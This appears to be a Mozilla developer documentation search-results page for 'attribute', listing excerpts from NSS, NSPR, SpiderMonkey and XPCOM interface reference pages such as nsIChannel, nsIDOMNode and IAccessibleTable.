attribute, the constraint is created. so if you want no constraints, pass an empty object, but if you just want a subject constraint, pass {subject: "foo"}. the third argument decides whether to "and" together multiple constraints (if there are multiple constraints); true for and, false for or. mark an imap folder as offline and bring th...
PR NewProcessAttr
no file descriptors are inherited by the new process. ...
... no file descriptors are inherited by the new process. ...
... no file descriptors are inherited by the new process. ...
.... syntax #include <prlink.h> prprocessattr *pr_newprocessattr(void); parameters the function has no parameters. returns a pointer to the new process
attributes structure. description this function creates a new prprocessattr structure that specifies the
attributes of a new process, then returns a pointer to the structure. the new prprocessattr structure is initialized with these default
attributes: the standard i/o streams (standard input, standard output, and standard error) are not redirected. no file descriptors are inherited by the new process. ...
NSS 3.31 release notes
source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/ new in nss 3.31 new functionality allow certificates to be specified by rfc7512 pkcs#11 uris. allow querying a certificate object for its temporary or permanent storage status in a thread safe way. new functions in cert.h cert_getcertisperm - retrieve the permanent storage status
attribute of a certificate in a thread safe way. cert_getcertistemp - retrieve the temporary storage status
attribute of a certificate in a thread safe way. in pk11pub.h pk11_findcertfromuri - find a certificate identified by the given uri. pk11_findcertsfromuri - find a list of certificates identified by the given uri. pk11_getmoduleuri - retrieve the uri of the given module. pk11_...
...h pk11_findcertfromuri - find a certificate identified by the given uri. pk11_findcertsfromuri - find a list of certificates identified by the given uri. pk11_getmoduleuri - retrieve the uri of the given module. pk11_gettokenuri - retrieve the uri of a token based on the given slot information. in pkcs11uri.h pk11uri_createuri - create a new pk11uri object from a set of
attributes. pk11uri_destroyuri - destroy a pk11uri object. pk11uri_formaturi - format a pk11uri object to a string. pk11uri_getpath
attribute - retrieve a path
attribute with the given name. pk11uri_getquery
attribute - retrieve a query
attribute with the given name. pk11uri_parseuri - parse pkcs#11 uri and return a new pk11uri object. new macros in pkcs11uri.h several new mac...
... notable changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide crypto policy, if configured. ...
... notable changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide crypto policy, if configured. ssl_versionrangegetsupported can be used to query the overlap between the library's supported range of tls versions and the systemwide policy. ...
NSS Sample Code Sample_3_Basic Encryption and MACing
v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
.... ...
...clude <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readraw
attribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readraw
attribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id
attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { ...
...); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_
attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr...
nss tech note4
char *cert_getstatename(certname *name); char *cert_getorgname(certname *name); char *cert_getorgunitname(certname *name); char *cert_getdomaincomponentname(certname *name); char *cert_getcertuid(certname *name); example code to illustrate access to the info is given below. background on cert extensions an extension has the following
attributes object id (oid) : a unique oid represents an algorithm, a mechanism, a piece of information, etc. examples: x500 rsa encryption, certificate basic constraints, pkcs#7 digested data, etc. there is a long list of pre-defined oids, and new ones can be added dynamically by an application. the oid data structure contains an array of identifier bytes (each byte is a ...
...ooping through all extensions certcertextension** extensions =cert->extensions; if (extensions) { while (*extensions) { secitem *ext_oid = &(*extensions)->id; secitem *ext_critical = &(*extensions)->critical; secitem *ext_value = &(*extensions)->value; /* id
attribute of the extension */ secoiddata *oiddata = secoid_findoid(ext_oid); if (oiddata == null) { /* oid not found */ /* secitem ext_oid has type (secitemtype), data (unsigned char *) and len (unsigned int) fields - the application interprets these */ ...
...type (secitemtype), data (unsigned char *) and len (unsigned int) fields - the application interprets these */ ....... } else { char *name = oiddata->desc; /* name of the extension */ ....... ...
... /* critical
attribute of the extension */ if (ext_critical->len > 0) { if (ext_critical->data[0]) /* the extension is critical */ else /* the extension is not critical */ } /* value
attribute of the extension */ /* secitem ext_value has type (secitemtype), data (unsigned char *) and len (unsigned int) fields - the application interprets these */ secoidtag oidtag = secoid_findoidtag(ext_oid); switch (oidtag) { case a_tag_that_app_recognizes: ...
NSS Tools modutil
this section discusses the following keys: global keysper-platform keysper-file keys global keys forwardcompatible gives a list of platforms that are forward compatible. if the current platform cannot be found in the list of supported platforms, then the forwardcompatible list is checked for any platforms that have the same os and architecture in an earlier version. if one is found, its
attributes are used for the current platform. platforms (required) gives a list of platforms. each entry in the list is itself a key-value pair: the key is the name of the platform and the value list contains various
attributes of the platform. the modulename, modulefile, and files
attributes must be specified for each platform unless an equivalentplatform
attribute is specified. the platform string is...
... security module database. modulefile (required) names the pkcs #11 module file (dll or .so) for this platform. the name is given as the relative path of the file within the jar archive. files (required) lists the files that need to be installed for this module. each entry in the file list is a key-value pair: the key is the path of the file in the jar archive, and the value list contains
attributes of the file. at least relativepath or absolutepath must be specified for each file. defaultmechanismflags specifies mechanisms for which this module will be a default provider. this key-value pair is a bitstring specified in hexadecimal (0x) format. it is constructed as a bitwise or of the following constants. if the defaultmechanismflags entry is omitted, the value defaults to 0x0. rsa:...
...flags specifies ciphers that this module provides but netscape communicator does not, so that communicator can enable them. this key is a bitstring specified in hexadecimal (0x) format. it is constructed as a bitwise or of the following constants. if the cipherenableflags entry is omitted, the value defaults to 0x0. fortezza: 0x0000 0001 equivalentplatform specifies that the
attributes of the named platform should also be used for the current platform. saves typing when there is more than one platform using the same settings. per-file keys these keys have meaning only within the value list of an entry in a files list. at least one of relativepath and absolutepath must be specified. if both are specified, the relative path is tried first, and the absolute path is used o...
...0400 user write: 0200 user execute: 0100 group read: 0040 group write: 0020 group execute: 0010 other read: 0004 other write: 0002 other execute: 0001 some platforms may not understand these permissions. they are applied only insofar as they make sense for the current platform. if this
attribute is omitted, a default of 777 is assumed. examples creating database filesdisplaying module informationsetting a default providerenabling a slotenabling fips complianceadding a cryptographic moduleinstalling a cryptographic module from a jar filechanging the password on a token creating database files this example creates a set of security management database files in the specified di...
JSPropertyDescriptor
properties a descriptor is an object that can have the following key values field name description getter the get syntax binds an object property to a function that will be called when that property is looked up. setter the set syntax binds an object property to a function to be called when there is an attempt to set that property. ...
...y. value describes the value of the specified property, which can be any valid javascript value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop. writable declare whether the specified
attribute can be rewritten description a descriptor is a property that describes an object's properties. there are two main types of property descriptors that exist in an object: a data descriptor and an access descriptor. you can use the object.getownpropertydescriptor() function to get the corresponding property of an object. descriptor. examples the following example demonstrates how to use th...
...ou can use the object.getownpropertydescriptor() function to get the corresponding property of an object. descriptor. examples the following example demonstrates how to use the object.defineproperty() function to create a property under an object in a javascript via a descriptor. var language = {}; // define an empty object language object.defineproperty(language, 'log', { // define the log
attribute under the language object value : ['cn','en'], writable : true, enumerable : true, configurable : true }) in the above example we defined a writable, deletable enumerable property.this is the same as the javascript directly defined property. in other words, the above code is equivalent to the following code. var language = {}; // define an empty object language languange.log =...
...alue : ['cn','en'], writable : true, enumerable : true, configurable : true }) in the above example we defined a writable, deletable enumerable property.this is the same as the javascript directly defined property. in other words, the above code is equivalent to the following code. var language = {}; // define an empty object language languange.log = ['cn','en']; // define the log
attribute under the language object ...
Parser API
e id::[expr] form), then computed is true and the right property is an expression. interface xmlfunctionqualifiedidentifier <: expression { type: "xmlfunctionqualifiedidentifier"; right: identifier | expression; computed: boolean; } an e4x identifier qualified by the function keyword, e.g., function::id. note: function-qualified identifiers are spidermonkey-specific. interface xml
attributeselector <: expression { type: "xml
attributeselector";
attribute: expression; } an e4x
attribute selector expression, i.e., an @ expression. interface xmlfilterexpression <: expression { type: "xmlfilterexpression"; left: expression; right: expression; } an e4x list filter expression, i.e., an expression of the form expr.(expr). interface xmlelement <: xml, expression { ...
...mlstarttag <: xml { type: "xmlstarttag"; contents: [ xml ]; } an xml start tag. interface xmlendtag <: xml { type: "xmlendtag"; contents: [ xml ]; } an xml end tag. interface xmlpointtag <: xml { type: "xmlpointtag"; contents: [ xml ]; } an xml point tag. interface xmlname <: xml { type: "xmlname"; contents: string | [ xml ]; } an xml name. interface xml
attribute <: xml { type: "xml
attribute"; value: string; } an xml
attribute value. interface xmlcdata <: xml { type: "xmlcdata"; contents: string; } an xml cdata node. interface xmlcomment <: xml { type: "xmlcomment"; contents: string; } an xml comment. interface xmlprocessinginstruction <: xml { type: "xmlprocessinginstruction"; target: string; contents: string ...
...tom object property initializer node. e4x declarations xmldefaultdeclaration(ns[, loc]) loc: sourcelocation returns: customdeclaration callback to produce a custom xml default namespace declaration node. expressions xmlanyname([loc]) loc: sourcelocation returns: customxmlanyname/customxml/customexpression callback to produce a custom xml node for the wildcard pseudo-identifier *. xml
attributeselector(expr[, loc]) expr: customexpression loc: sourcelocation returns: customxml/customexpression callback to produce a custom xml
attribute selector node. xmlfilterexpression(left, right[, loc]) left: customexpression right: customexpression loc: sourcelocation returns: customxml/customexpression callback to produce a custom xml filter expression node. xmlqualifiedidentifier(left, ri...
... [ customxml ] loc: sourcelocation returns: customxml callback to produce a custom xml end-tag node. xmlpointtag(contents[, loc]) contents: [ customxml ] loc: sourcelocation returns: customxml callback to produce a custom xml point tag node. xmlname(contents[, loc]) contents: string | [ customxml ] loc: sourcelocation returns: customxml callback to produce a custom xml name node. xml
attribute(value[, loc]) value: string loc: sourcelocation returns: customxml callback to produce a custom xml
attribute node. xmlcdata(contents[, loc]) contents: string loc: sourcelocation returns: customxml callback to produce a custom xml cdata node. xmlcomment(contents[, loc]) contents: string loc: sourcelocation returns: customxml callback to produce a custom xml comment node. xmlprocess...
IAccessibleTable
rs of a table will be at the same time children of the table. in this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. ...
... this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. when the table cells are not direct children of a table, the object representing the cell can define a "table-cell-index" object
attribute identifying the 0 based table cell index. this object
attribute is obtained by parsing the
attribute string returned by iaccessible2.
attributes(). the "table-cell-index"
attribute can be used just like a child index of the typical case. ats should first test for the presence of the "table-cell-index"
attribute and if it is not present then iaccessible2.indexinparent() can be used as in the typical case where cells are direct children of the table. the range o...
... column index. [propget] hresult columnindex( [in] long cellindex, [out] long columnindex ); parameters cellindex 0 based index of the cell in the parent or closest ancestor table. typically this is the value returned from iaccessible2.indexinparent(), but in the case where the table cells are not direct children of the table this is the cell index specified by the "table-cell-index" object
attribute obtained from parsing the
attributes string returned by calling iaccessible2.
attributes() on the cell object. columnindex returns the 0 based column index of the cell of the specified child or the index of the first column if the child spans multiple columns. return value e_invalidarg if bad [in] passed, [out] value is 0. s_ok. iscolumnselected() returns a boolean value indicating whether the sp...
...ex into a row index. [propget] hresult rowindex( [in] long cellindex, [out] long rowindex ); parameters cellindex 0 based index of the cell in the parent or closest ancestor table. typically this is the value returned from iaccessible2.indexinparent(), but in the case where the table cells are not direct children of the table this is the cell index specified by the "table-cell-index" object
attribute obtained from parsing the
attributes string returned by calling iaccessible2.
attributes() on the cell object. rowindex 0 based row index. return value e_invalidarg if bad [in] passed, [out] value is 0. s_ok. selectcolumn() selects a column and unselects all previously selected columns. hresult selectcolumn( [in] long column ); parameters column 0 based index of the column to be selected. re...
jsdIStackFrame
ey 2.1) strict mode is on. warnings reported as errors. makes eval() use the last object on its 'obj' param's scope chain as the ecma 'variables object'. private data for this object is an nsisupports object. attempting to alter this bit will result in an ns_error_illegal_value. opt_* values above, or'd together. last version set on this context. scripts typically select this with the "language"
attribute. ...
...stack frame objects. these are only valid inside the jsdiexecutionhook which gave it to you. ...
...stack frame objects. ...
... you. after you return from that handler the bottom frame, and any frame you found attached through it, are invalidated via the jsdiephemeral interface. once a jsdistackframe has been invalidated all method and property accesses will throw a ns_error_not_available exception. method overview boolean eval(in astring bytes, in autf8string filename, in unsigned long line, out jsdivalue result);
attributes
attribute type description callee jsdivalue function object running in this stack frame. read only. callingframe jsdistackframe link to the caller's stack frame. read only. executioncontext jsdicontext executon context. read only. functionname autf8string function name executing in this stack frame. read only. isconstructing boolean true if stack frame is constructing a new object. ...
mozISpellCheckingEngine
not currently used. read only. dictionary wstring the name of the current dictionary used by check() and suggest(). this will be either element from the array returned by getdictionarylist() or an empty string if...
...not currently used. read only. dictionary wstring the name of the current dictionary used by check() and suggest(). this will be either element from the array returned by getdictionarylist() or an empty string if no dictionary is selected...
... dictionary wstring the name of the current dictionary used by check() and suggest(). this will be either element from the array returned by getdictionarylist() or an empty string if no dictionary is selected. note: setting this value to a value that doesn't match an existing dictionary throws a ns_error_file_not_found exception. when this
attribute's value is changed, a "spellcheck-dictionary-update" notification is sent. if the dictionary was set to "no dictionary" (that is, by specifying an empty string), the observer may select another dictionary before returning. language wstring the language this spell checker is using when checking. this is the language of dictionary. read only. when...
...indicating the directory from which to add dictionaries. check() checks a word to determine if it's spelled correctly. when this changes, the spell checker sends a "spellcheck-dictionary-update" notification. boolean check( in wstring word ); parameters word a word to check for correct spelling. return value returns true if word is spelled correctly according to the dictionary
attribute, and returns false if word is misspelled. getdictionarylist() gets the list of dictionaries. void getdictionarylist( [array, size_is(count)] out wstring dictionaries, out pruint32 count ); parameters dictionaries a list of dictionaries supported by this spell checker. the dictionary
attribute can be set to one of these. each dictionary name is typically but not always a locale...
mozITXTToHTMLConv
constant type description kentities unsigned long enables conversion of basic special characters to html entities. this applies to "<", "&", and ">" (which are converted to <, &, and >, respectively). kglyphsubstitution unsigned long enables conversion of smilies and non-asc...
...pe description kentities unsigned long enables conversion of basic special characters to html entities. this applies to "<", "&", and ">" (which are converted to <, &, and >, respectively). kglyphsubstitution unsigned long enables conversion of smilies and non-ascii special characters. kstructphrase unsigned long enables conversion of text
attributes, such as converting "*some text*" to boldfaced "some text" by wrapping in the html <strong> element. kurls unsigned long enables automatic addition of hyperlinks for urls in the text. methods scantxt() scans the specified text, applying the requested conversions and outputting html. wstring scantxt( in wstring text, in unsigned long whattodo ); parameters text ...
...rls unsigned long enables automatic addition of hyperlinks for urls in the text. methods scantxt() scans the specified text, applying the requested conversions and outputting html. wstring scantxt( in wstring text, in unsigned long whattodo ); parameters text the original, plain text to scan and convert into html. whattodo a bit field composed of the conversion control
attributes indicating what conversions to apply. return value the html version of the specified string. scanhtml() scans the specified user-edited html, adding additional formatting that the user may not have known to do. this should correct html that isn't entirely standards-compliant. warning: don't use the kglyphsubstitution conversion type with this method, as doing so generates html that is non-...
... may not have known to do. this should correct html that isn't entirely standards-compliant. warning: don't use the kglyphsubstitution conversion type with this method, as doing so generates html that is non-standard. wstring scanhtml( in wstring text, in unsigned long whattodo ); parameters text the original, user-edited html. whattodo a bit field composed of the conversion control
attributes indicating what conversions to apply. return value a normalized version of the original html string. citeleveltxt() returns the "cite level" of the specified text; that is, it indicates how many levels of email reply quotes are used, when the text uses "quote" characters (such as ">") at the beginning of the line to indicate cite levels. unsigned long citeleveltxt( in wstring line, out...
nsIAccessibleEvent
accessible/public/nsiaccessibleevent.idlscriptable an interface for accessibility events listened to by in-process accessibility clients, which can be used to find out how to get accessibility and dom interfaces for the event and its target. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
attributes
attribute type description accessible nsiaccessible the nsiaccessible associated with the event. may return null if no accessible is available. read only. accessibledocument nsiaccessibledocument the nsiaccessibledocument that the event target nsiaccessible resides in. this can be used to get the dom window, the dom document and the window handler, among other things. read only. domnode nsidomnode the nsidomnode associated with t...
...out to be minimized or maximized. event_minimize_end 0x0029 0x0026 a window object has been minimized or maximized. event_document_load_complete 0x002b 0x0027 the loading of the document has completed. event_document_reload 0x002c 0x0028 the document contents are being reloaded. event_document_load_stopped 0x002d 0x0029 the loading of the document was interrupted. event_document_
attributes_changed 0x002e 0x002a the document wide
attributes of the document object have changed. event_document_content_changed 0x002f 0x002b the contents of the document have changed. event_property_changed 0x0030 0x002c event_selection_changed 0x0031 0x002d event_text_
attribute_changed 0x0032 0x002e a text object's
attributes changed. also see event_object_
attribute_changed. eve...
...rted 0x0035 0x0031 text was inserted. event_text_removed 0x0036 0x0032 text was removed. event_text_updated 0x0037 0x0033 text was updated. event_text_selection_changed 0x0038 0x0034 the text selection changed. event_visible_data_changed 0x0039 0x0035 a visible data event indicates the change of the visual appearance of an accessible object. this includes for example most of the
attributes available via the iaccessiblecomponent interface. event_text_column_changed 0x003a 0x0036 the caret moved from one column to the next. event_section_changed 0x003b 0x0037 the caret moved from one section to the next. event_table_caption_changed 0x003c 0x0038 a table caption changed. event_table_model_changed 0x003d 0x0039 a table's data changed. event_table_summary_changed 0x...
...n the containing string has changed. event_hypertext_changed 0x0057 0x0053 focus has changed from one hypertext object to another, or focus moved from a non-hypertext object to a hypertext object, or focus moved from a hypertext object to a non-hypertext object. event_hypertext_nlinks_changed 0x0058 0x0054 the number of hyperlinks associated with a hypertext object changed. event_object_
attribute_changed 0x0059 0x0055 an object's
attributes changed. also see event_text_
attribute_changed. gecko 1.9.2 note this event is never sent in versions of gecko prior to 1.9.2, even though the constant existed. event_page_changed 0x005a 0x0056 a slide changed in a presentation document or a page boundary was crossed in a word processing document. event_last_entry 0x005d 0x0057 help ma...
nsIAccessibleHyperLink
interface that supports hyperlink-specific properties and methods. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessible getanchor(in long index); note: renamed from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9
attributes
attribute type description anchorcount long the number of anchors within this hyperlink. is normally 1 for anchors. this anchor is, for example, the visible output of the html:a tag. with an image map, reflects the actual areas within the map. read only. note: renamed from anchors in gecko 1.9 exceptions thrown ns_error_failure indicates t...
...he endindex should be startindex + 1. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. selected boolean determines whether the element currently has the focus, for example after returning from the destination page. read only. note: aria links can only be focused if they have the tabindex
attribute set. also, state_focused should then be set on the accessible for this link. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. startindex long the offset of the hyperlink accessible within the parent accessible. the returned value is related to the nsiaccessiblehyperlink interface of the objec...
...read only. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. valid boolean determines whether the hyperlink is valid, for example points to a valid url. read only. note: currently only used with aria links, and the author has to specify that the link is invalid via the aria-invalid='true'
attribute. in all other cases, true is returned. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. methods returns a reference to the object at the given index. note: aria hyperlinks do not have an anchor accessible to point to, since clicks are processed via javascript. note: in the case of an image map there is ...
...t to, since clicks are processed via javascript. therefore this property does not work on aria links. nsiuri geturi( in long index ); parameters index the 0-based index of the uri to be returned. return value the nsiuri object containing the specifications for the uri. isselected() obsolete since gecko 1.9 (firefox 3) note: has been replaced by the selected
attribute. boolean isselected(); parameters none. return value true if the element currently has the focus. isvalid() obsolete since gecko 1.9 (firefox 3) note: has been replaced by the valid
attribute. boolean isvalid(); parameters none. return value true if the hyperlink is valid. remarks anchors, image maps, xul:labels with class="text-link" implement this inter...
nsIChannel
netwerk/base/nsichannel.idlscriptable this interface allows clients to construct 'get' requests for specific protocols, and manage them in a uniform way. inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel
attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters. then, the uri can be fetched by calling open() or asyncopen(). after a request has been completed, the channel is still valid for accessing protocol-specific results. for example, queryinterfacing to nsihttpchannel allows response headers to be retrieved for the corresponding http transaction. this i...
... to nsihttpchannel allows response headers to be retrieved for the corresponding http transaction. this interface must be used only from the xpcom main thread. implemented by netwerk/base/src/nsbasechannel.cpp and netwerk/protocol/http/src/nshttpchannel.cpp. method overview void asyncopen(in nsistreamlistener alistener, in nsisupports acontext); nsiinputstream open();
attributes
attribute type description contentcharset acstring the character set of the channel's content if available and if applicable. this
attribute only applies to textual data. setting contentcharset before the channel has been opened provides a hint to the channel on what the charset should be. the behavior is similar to contenttype. the value of the conte...
... contentlength int64_t the length of the data associated with the channel if available. a value of -1 indicates that the content length is unknown. note: as of gecko 19.0, this parameter changed from long to int64_t. ...
...el may ignore this hint in deciding on the actual mime type that it will report. setting contenttype after onstartrequest has been fired or after open() is called will override the type determined by the channel. setting contenttype between the time that asyncopen() is called and the time when onstartrequest is fired has undefined behavior at this time. the value of the contenttype
attribute is a lowercase string. a value assigned to this
attribute will be parsed and normalized as follows: any parameters (delimited with a ';') will be stripped. if a charset parameter is given, then its value will replace the the contentcharset
attribute of the channel. the stripped contenttype will be lowercased. any implementation of nsichannel must follow these rules. ...
nsIContentPrefService2
ntext parameters many methods also accept a "context" parameter. this parameter relates to private browsing and determines the kind of storage that a method uses, either the usual permanent storage or temporary storage set() aside for private browsing sessions. pass null to unconditionally use permanent storage. pass an nsiloadcontext to use storage appropriate to the context's useprivatebrowsing
attribute: if useprivatebrowsing is true, temporary private-browsing storage is used, and otherwise permanent storage is used. a context can be obtained from the window or channel whose content pertains to the preferences being modified or retrieved. callbacks the methods of callback objects are always called asynchronously. see nsicontentprefcallback2 for more information about callbacks. method overview ...
...ndleresult is called once for each preference. if no such preferences exist, handleresult is not called at all. getcachedbydomainandname() synchronously retrieves from the in-memory cache the preference with the given domain and name. in addition to caching preference values, the cache also keeps track of preferences that are known not to exist. if the preference is known not to exist, the value
attribute of the returned object will be undefined (nsidatatype.vtype_void()). if the preference is neither cached nor known not to exist, then null is returned, and get() must be called to determine whether the preference exists. nsicontentpref getcachedbydomainandname( in astring domain, in astring name, in nsiloadcontext context ); parameters domain the preference's domain. ...
...ves from the in-memory cache all preferences with the given name whose domains are either the same as or subdomains of the given domain. the preferences are returned in an array through the out-parameter. if a preference for a particular subdomain is known not to exist, then an object corresponding to that preference will be present in the array, and, as with getcachedbydomainandname(), its value
attribute will be undefined. void getcachedbysubdomainandname( in astring domain, in astring name, in nsiloadcontext context, out unsigned long len, [retval,array,size_is(len)] out nsicontentpref prefs ); parameters domain the preferences' domain. name the preferences' name. context the private-browsing context, if any. len the length of t...
... the private-browsing context, if any. len the length of the returned array. prefs the array of preferences. getcachedglobal() synchronously retrieves from the in-memory cache the preference with no domain and the given name. as with getcachedbydomainandname(), if the preference is cached then it is returned; if the preference is known not to exist, then the value
attribute of the returned object will be undefined; if the preference is neither cached nor known not to exist, then null is returned. nsicontentpref getcachedglobal( in astring name, in nsiloadcontext context ); parameters name the preference's name. context the private-browsing context, if any. return value the preference, or null if no such preference is known to exist...
nsIDOMEvent
if the event can bubble the value is true, else the value is false. read only. cancelable boolean used to indicate whether or not an event can have its default action prevented. if the default action can be prevented the value is true, else the va...
...if the event can bubble the value is true, else the value is false. read only. cancelable boolean used to indicate whether or not an event can have its default action prevented. if the default action can be prevented the value is true, else the value is false. read on...
...rialize( in constipcmessageptr amsg, out voidptr aiter ); parameters amsg aiter return value native code only!duplicateprivatedata void duplicateprivatedata(); parameters none. violates the xpcom interface guidelines getinternalnsevent() nseventptr getinternalnsevent(); parameters none. return value getpreventdefault() note: use the defaultprevented
attribute instead. this method will be removed in future releases, see bug 691151. boolean getpreventdefault(); parameters none. return value initevent() this method is used to initialize the value of an event created through the documentevent interface. this method may only be called before the event has been dispatched via the dispatchevent method, though it may be called multiple times during t...
...nt created through the documentevent interface. this method may only be called before the event has been dispatched via the dispatchevent method, though it may be called multiple times during that phase if necessary. if called multiple times the final invocation takes precedence. if called from a subclass of event interface only the values specified in the initevent method are modified, all other
attributes are left unchanged. void initevent( in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg ); parameters eventtypearg specifies the event type. this type may be any event type currently defined in this specification or a new event type. the string must be an xml name. any new event type must not begin with any upper, lower, or mixed case version of the string "...
nsIDOMNode
dom/interfaces/core/nsidomnode.idlscriptable this interface is the primary datatype for the entire document object model. it represents a single node in the document tree. inherits from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean has
attributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild)
attributes
attribute type description
attributes nsidomnamednodemap read only. childnodes nsidomnodelist read o...
... localname domstring read only. namespaceuri domstring read only. nextsibling nsidomnode read only. nodename domstring read only. nodetype unsigned short read only. nodevalue domstring ownerdocument nsidomdocument read only. parentnode nsidomnode read only. prefix domstring previoussibling nsidomnode read only. ...
...return value haschildnodes() boolean haschildnodes(); parameters none. return value insertbefore() nsidomnode insertbefore( in nsidomnode newchild, in nsidomnode refchild ); parameters newchild refchild return value issupported() boolean issupported( in domstring feature, in domstring version ); parameters feature version return ...
... entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchild( in nsidomnode newchild ); parameters newchild return value clonenode() nsidomnode clonenode( in boolean deep ); parameters deep return value has
attributes() boolean has
attributes(); parameters none. return value haschildnodes() boolean haschildnodes(); parameters none. return value insertbefore() nsidomnode insertbefore( in nsidomnode newchild, in nsidomnode refchild ); parameters newchild refchild return value issupported() boolean issupported( in domstring feature, in domstring version ); parameters feature version return value normalize() void ...
nsIDOMSimpleGestureEvent
for update events, this indicates the movement since the previous update; for the mozrotategesture and mozmagnifygesture events, this indicates the total movement that occurred while the event was being processed. the value is specified in degrees for rotation ev...
...for update events, this indicates the movement since the previous update; for the mozrotategesture and mozmagnifygesture events, this indicates the total movement that occurred while the event was being processed. the value is specified in degrees for rotation events (where positive ...
... see also mouse gesture events event ...
... see also mouse gesture events event ...
nsIDOMWindowInternal
in gecko 8.0 this interface was merged into the nsidomwindow interface. this interface no longer has any members; it exists solely to prevent add-ons that reference it from failing completely. add-ons should be updated to use nsidomwindow instead. it provides many of the common functions used in javascript such as alert() or open(). note: because most of nsidomwindowinternal's functions and
attributes are well documented in window, those articles are linked to rather than re-documented. however, they are not guaranteed to document all available arguments (i.e. see window.prompt). method overview firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in previous versions, all parameters were required. void alert(in doms...
... self nsidomwindowinternal readonly: returns an object reference to the window object. navigator nsidomnavigator readonly: returns a reference to the navigator object. screen nsidomscreen readonly: returns a reference to the scr...
... self nsidomwindowinternal readonly: returns an object reference to the window object. navigator nsidomnavigator readonly: returns a reference to the navigator object. screen nsidomscreen readonly: returns a reference to the screen object associated...
... ...
nsIDOMWindowUtils
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46) implemented by: window. ...
...read only. exceptions thrown ns_error_not_available there is no current inner window displaydpi float the dpi of the display. read only. doccharsetisforced boolean whether the charset of t...
...read only. exceptions thrown ns_error_not_available there is no current inner window displaydpi float the dpi of the display. read only. doccharsetisforced boolean whether the charset of the window's current d...
...ample, when an inline element contains blocks). this number also counts restyling of pseudo-elements and anonymous boxes. throws ns_error_not_available if the count can't be provided. focusedinputtype string the type of the currently-focused html <input> element, if one is focused. imageanimationmode unsigned short returns the image animation mode of the window. the
attribute's value must be one of the animationmode values from imgicontainer. imeisopen boolean returns the ime open state. true if it's open, otherwise false. this
attribute only works when imestatus is ime_status_enabled. read only. imestatus unsigned long returns the current ime status. values correspond to the ime_status_* constants defined below. read only. ism...
nsIFeedEntry
this comes from the atom:content and/or content:encoded fields. enclosures nsiarray an array of all the enclosures included in the entry. ...
...this comes from the atom:content and/or content:encoded fields. enclosures nsiarray an array of all the enclosures included in the entry. ...
...this comes from the atom:content and/or content:encoded fields. enclosures nsiarray an array of all the enclosures included in the entry. ...
...ther media that might be displayed inline in the entry. parent nsifeedcontainer a reference to the entry's parent, which is either a feed (nsifeed or another entry. published astring a string indicating the date on which the entry was published, in rfc822 format. this date is parsable by both javascript (via date.parse()) and mail code. note, that the related updated
attribute is available from the nsifeedcontainer interface. summary nsifeedtextconstruct a summary of the feed entry's content. this is generated automatically using the entry's description, subtitle, summary, content, and appropriate extensions. see also nsifeedcontainer interwiki lin ...
nsIFilePicker
defaultextension astring the extension for the type ...
... defaultextension astring the extension for the type of files you want to ...
... defaultextension astring the extension for the type of files you want to work with. on some platforms, this is automatically appended to filenames the user enters, if required. ...
